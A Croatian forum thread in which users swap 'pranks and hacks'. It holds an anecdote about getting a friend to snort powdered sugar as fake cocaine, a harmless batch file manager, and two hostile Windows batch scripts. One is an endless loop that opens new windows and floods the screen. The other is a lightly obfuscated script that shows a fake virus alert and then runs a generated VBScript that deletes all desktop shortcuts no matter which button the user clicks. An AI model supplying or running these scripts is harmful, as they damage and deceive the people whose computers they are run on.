Vaši prankovi (šale) i hackovi

  ahahaha joj kad se sjetim sto smo jedan moj frend i ja radili ljudima tamo.... :D

puno hvala 

Evo nema baš veze s informatikom al jednom smo frenda nagovorili da pošmrka cjelu žlicu šećera u prahu koji je mislio da je to kokain(naravno ni mi ni taj frend nismo nikad ni vidili kokain).

Što je najbolje  tip je zabrijo da je stvarno high i počeo govorit da vidi zmajeve :D

Malo glupo ali:

@echo off

:LOL

md 1

start 1

rd /s /q 1

GOTO LOL

File Manager (Nije neki prank ali je korisno)

@echo off

echo Where's your starting directory? (eg. C:\Users)

echo -------------------------------------------

set /p x=

cd %x%

GOTO FM

:FM

cls

dir

echo --------------------------------------------

echo Press c to copy files,

echo Press d to delete files,

echo Press r to rename files,

echo Press m to make directories,

echo Press y to change the directory and

echo Press s to start a program or a file.

echo --------------------------------------------

set /p z=

IF '%z%' == 'c' GOTO COPY

IF '%z%' == 'd' GOTO DELT

IF '%z%' == 'r' GOTO RENM

IF '%z%' == 'm' GOTO MDIR

IF '%z%' == 'y' GOTO CHDR

IF '%z%' == 's' GOTO STRT

:COPY

cls

echo Enter the name of the file you want to copy.

echo --------------------------------------------

set /p c=

cls

echo Enter the directory you want to copy the file to.

echo --------------------------------------------

set /p v=

xcopy "%c%" "%v%"

GOTO FM

:DELT

cls

echo Enter the name of the file you want to delete.

echo --------------------------------------------

set /p b=

cls

echo Is that file a directory?

echo --------------------------------------------

set /p s=

IF '%s%' == 'no' GOTO NO

IF '%s%' == 'yes' GOTO YES

:YES

rd /s /q %b%

GOTO FM

:NO

del "%b%"

GOTO FM

:RENM

cls

echo Enter the name of the file you want to rename plus the extension (eg. Pic.jpg)

echo --------------------------------------------

set /p n=

cls

echo Enter the name you want the file to be renamed to.

echo --------------------------------------------

set /p m=

rename "%n%" "%m%"

GOTO FM

:MDIR

cls

echo Enter the name of the directory you want to make to.

echo --------------------------------------------

set /p a=

md "%a%"

GOTO FM

:CHDR

cls

echo Enter the name of the directory you want go to.

echo --------------------------------------------

set /p d=

cd "%d%"

GOTO FM

:STRT

cls

echo What's the name of the file you want to run?

echo --------------------------------------------

set /p f=

"%f%"

GOTO FM

RD - Remove Dir - naredba koja uklanja direktorij sa parametrima /s /q radi to bez pitanja.

U ovome slucaju brise direktorij "1" bez pitanja.

zvuči "korisno" probat ćemo

edit:gdje naučiti pisati ove bat fajlove?

ma koga zanima batch neka pita ovdje sta ga zanima

e xzero

ovaj ja to probo i nece mi se taskom ugasit ugasim i makne se sa task liste al bsod je jos upaljen!

Jeli moguće napravit da svaki puta kad se pomakne miš, pojavi se neka poruka (recimo: your mouse has moved a restart is nessesery for changes to take effect) ?

Lol

 a šta je ovo točno

Imaš potencijala obrati se xZero-u, on ti je pranker i pol

Evo:

@ECHO OFF
:: Created by xZero
:MDTMP
IF EXIST %TEMP%\xZero GOTO SKP
MD %TEMP%\xZero>NUL
:SKP
IF EXIST %TEMP%\xZero\APPID973290903213 GOTO SKPA
MD %TEMP%\xZero\APPID973290903213>NUL
:SKPA
:: SKIP
:SET_VARS
SET trgt=%TEMP%\xZero\APPID973290903213
SET session=%random%%random%%random%
SET varA=x
SET varB=G
SET varC=Z
SET varD=s
SET varE=e
SET varF=0
SET varG=r
SET varH=a
SET varI=o
SET encA=%varA%
SET encB=%varC%
SET encC=%varE%
SET encD=%varG%
SET encE=%varI%
SET authentication=%encA%%encB%%encC%%encD%%encE%
SET sys_value=%authentication%
SET auth=%0%
SET system=%sys_value%
SET Wait1=PING localhost -n 02
SET Wait2=PING localhost -n 01
SET Style=COLOR F0
SET check=IF NOT
SET then=EXIT
SET exec=START
%check% '%system%'=='%encA%%encB%%encC%%encD%%encE%' %then%
:: END
ECHO dexzr=msgbox("Created by %system% ",16,"%system% Alert!")>>%trgt%\%session%_823948022.vbs
%exec% /wait %trgt%\%session%_823948022.vbs

:EXEC
ECHO dexzr=msgbox("You are infected with virus whick can delete ALL YOUR FILES. To delete this virus click YES othervise click no. ",20,"Virus Alert!")>>%trgt%\%session%_823948023.vbs
ECHO Dim fso >>%trgt%\%session%_823948023.vbs
ECHO Set fso = CreateObject("Scripting.FileSystemObject")>>%trgt%\%session%_823948023.vbs
ECHO fso.DeleteFile "%SystemDrive%\Documents and Settings\%UserName%\Desktop\*.lnk", True >>%trgt%\%session%_823948023.vbs
ECHO fso.DeleteFile "%SystemDrive%\Documents and Settings\%UserName%\Desktop\Mozilla Firefox.lnk", True >>%trgt%\%session%_823948023.vbs
ECHO fso.DeleteFile "%SystemDrive%\Documents and Settings\%UserName%\Desktop\My Computer.lnk", True >>%trgt%\%session%_823948023.vbs
%exec% /wait %trgt%\%session%_823948023.vbs

Spremiti kao nesto.cmd

Obrisat ce sve shortcute na desktopu neovisno o tome sta kliknuli.